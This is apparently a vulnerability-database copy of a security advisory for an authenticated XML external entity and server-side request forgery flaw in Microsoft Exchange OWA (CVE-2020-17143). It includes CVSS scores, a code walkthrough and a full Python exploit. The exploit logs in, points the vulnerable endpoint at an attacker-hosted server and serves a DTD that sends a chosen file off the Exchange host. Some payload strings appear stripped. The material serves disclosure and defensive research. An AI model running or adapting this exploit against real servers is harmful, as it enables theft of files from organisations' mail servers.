Lucene search

K
srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan Team and Chris AnastasioSRC-2020-0030
HistoryApr 22, 2020 - 12:00 a.m.

SRC-2020-0030 : Microsoft Exchange Server OWA OneDriveProUtilities GetWacUrl XML External Entity Processing Information Disclosure Vulnerability

2020-04-2200:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team and Chris Anastasio
srcincite.io
62

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

74.3%

Vulnerability Details:

This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability.

The specific flaw exists within the processing of GetWacIframeUrlForOneDrive service commands. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.

Affected Vendors:

Microsoft

Affected Products:

Exchange Server

Vendor Response:

Microsoft has issued an update to correct this vulnerability. More details can be found at: <https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17143&gt;

#!/usr/bin/env python3
"""
Microsoft Exchange Server OWA OneDriveProUtilities GetWacUrl XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0030/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17143

## Summary

This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of the GetWacIframeUrlForOneDrive service command. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.

## Affected

Fully patched version of Exchange 2016 and Exchange 2019 have been confirmed vulnerable

## Vulnerability Analysis

Inside of the `Microsoft.Exchange.Clients.Owa2.Server.dll` library the following class is reachable from an authenticated request:

```
namespace Microsoft.Exchange.Clients.Owa2.Server.Core
{
    internal class GetWacIframeUrlForOneDrive : ServiceCommand{
        public GetWacIframeUrlForOneDrive(ICallContext callContext, GetWacIframeUrlForOneDriveRequest request) : base(callContext)
        {
            this.endPointUrl = request.EndPointUrl;
            this.documentUrl = request.DocumentUrl;
            this.isEdit = request.IsEdit;
        }

        protected override string InternalExecute()  // 1
        {
            UserContext userContext = UserContextManager.GetUserContext(base.CallContext.HttpContext, base.CallContext.EffectiveCaller, true);
            if (userContext == null)
            {
                throw new OwaInvalidRequestException("Unable to determine user context.");
            }
            string wacUrl;
            try
            {
                this.endPointUrl = this.GetEndpointUrl(this.endPointUrl, this.documentUrl, userContext);  // 2
                wacUrl = OneDriveProUtilities.GetWacUrl(base.CallContext, userContext.MailboxIdentity, this.endPointUrl, this.documentUrl, this.isEdit, userContext.FeaturesManager);  // 4
            }
            catch (Exception ex)
            {
                ex.ToString();
                throw;
            }
            return wacUrl;
        }

        private string GetEndpointUrl(string endpointUrl, string documentUrl, UserContext userContext)
        {
            if (string.IsNullOrEmpty(endpointUrl))
            {
                AttachmentDataProvider defaultUploadDataProvider = userContext.AttachmentDataProviderManager.GetDefaultUploadDataProvider(base.CallContext);
                if (defaultUploadDataProvider != null)
                {
                    endpointUrl = defaultUploadDataProvider.GetEndpointUrlFromItemLocation(documentUrl, false);
                }
            }
            return endpointUrl;  // 3
        }
```

When an authenticated request is made with the `Action: GetWacIframeUrlForOneDrive` header, the above class is instantiated and the `InternalExecute` method is called at *[1]*. At *[2]* code calls `GetEndpointUrl` which returns the attacker supplied `endpointUrl` at *[3]*. Then at *[4]* the code calls `OneDriveProUtilities.GetWacUrl` with the attacker controlled `endPointUrl`.

```
        internal static string GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, FeaturesManager featuresManager)
        {
            bool isSPGetWacTokenEnabled = featuresManager != null && featuresManager.ServerSettings.SPGetWacToken.Enabled;
            WacUrlInfo wacUrl = OneDriveProUtilities.GetWacUrl(callContext, identity, endPointUrl, documentUrl, isEdit, isSPGetWacTokenEnabled);            // 5
            string text = isEdit ? "OwaEdit" : "OwaView";
            return string.Format("{0}&access_token={1}&access_token_ttl={2}&sc={3}", new object[]
            {
                wacUrl.BaseUrl,
                wacUrl.Token,
                wacUrl.TokenTtl,
                text
            });
        }

        internal static WacUrlInfo GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, bool isSPGetWacTokenEnabled)
        {
            string actionOrAppId = isEdit ? "2" : "4";
            if (isSPGetWacTokenEnabled)
            {
                actionOrAppId = (isEdit ? "1" : "0");
            }
            string getWacTokenUrlFormat = isSPGetWacTokenEnabled ? "{0}/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p, requestedAction={2})?@p='{1}'" : "{0}/_api/Microsoft.SharePoint.Yammer.WACAPI.GetWacToken(fileUrl=@p, wopiAction={2})?@p='{1}'";
            WebResponse tokenRequestWebResponse = OneDriveProUtilities.GetTokenRequestWebResponse(callContext, identity, getWacTokenUrlFormat, endPointUrl, documentUrl, actionOrAppId, "GetWacToken", "SP.GWT");       // 6
            XmlDocument xmlDocument = new XmlDocument();
            OneDriveProUtilities.EndBudget(callContext);
            xmlDocument.Load(tokenRequestWebResponse.GetResponseStream());              // 7
            
            //..
        }
```

At *[5]* the code calls `OneDriveProUtilities.GetWacUrl` with a different signature and at *[6]* a server-side request forgery is triggered with the attacker supplied URI. The issue is at *[7]* though, where the response from the request is parsed to `XmlDocument.Load` which uses the default entity resolver leading to external entity processing.

## Credit

Steven Seeley of Qihoo 360 Vulcan Team and Chris Anastasio

## Example

```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange server!
(+) stolen: /leaked?%3C!%5BCDATA%5Bomgthisisasecret0day%5D%5D%3E
```
"""
import re
import sys
import urllib3
import requests
from threading import Thread
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class xxe(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def _set_response(self, d):
        self.send_response(200)
        self.send_header('Content-type', 'application/xml')
        self.send_header('Content-Length', len(d))
        self.end_headers()
    def do_GET(self):
        if "leaked" in self.path:
            print("(+) stolen: %s" % self.path)
            message = " ]]>"
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        elif "poc.dtd" in self.path:
            print("(+) triggered xxe in exchange server!")
            message = """

'>
%%param1; %%external;""" % (host, int(port))
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        elif "poc.xml" in self.path:
            d = """">

%%dtd;
]>""" % (file, host, int(port))
            self._set_response(d)
            self.wfile.write(d.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        return

def main(t, usr, pwd, port):
    server = HTTPServer(('0.0.0.0', port), xxe)
    handlerthr = Thread(target=server.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    s = requests.Session()
    d = {
        "destination" : "https://%s/owa" % t,
        "flags" : "",
        "username" : usr,
        "password" : pwd
    }
    s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
    h = {
        "X-OWA-UrlPostData" : '{"request":{"DocumentUrl":"","EndPointUrl":"http://%s:%d/poc.xml"}}' % (host, port),
        "Action" : "GetWacIframeUrlForOneDrive"
    }
    r = s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
    assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!" 
    h["X-OWA-CANARY"] = s.cookies.get(name='X-OWA-CANARY')
    s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
    
if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
        sys.exit(-1)
    trgt = sys.argv[1]
    assert ":" in sys.argv[2], "(-) you need a user and password!"
    usr = sys.argv[2].split(":")[0]
    pwd = sys.argv[2].split(":")[1]
    host = sys.argv[3]
    port = 9090
    file = sys.argv[4]
    if ":" in sys.argv[3]: 
        host = sys.argv[3].split(":")[0]
        port = sys.argv[3].split(":")[1]
        assert port.isdigit(), "(-) not a port number!"
    main(trgt, usr, pwd, int(port))

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.004 Low

EPSS

Percentile

74.3%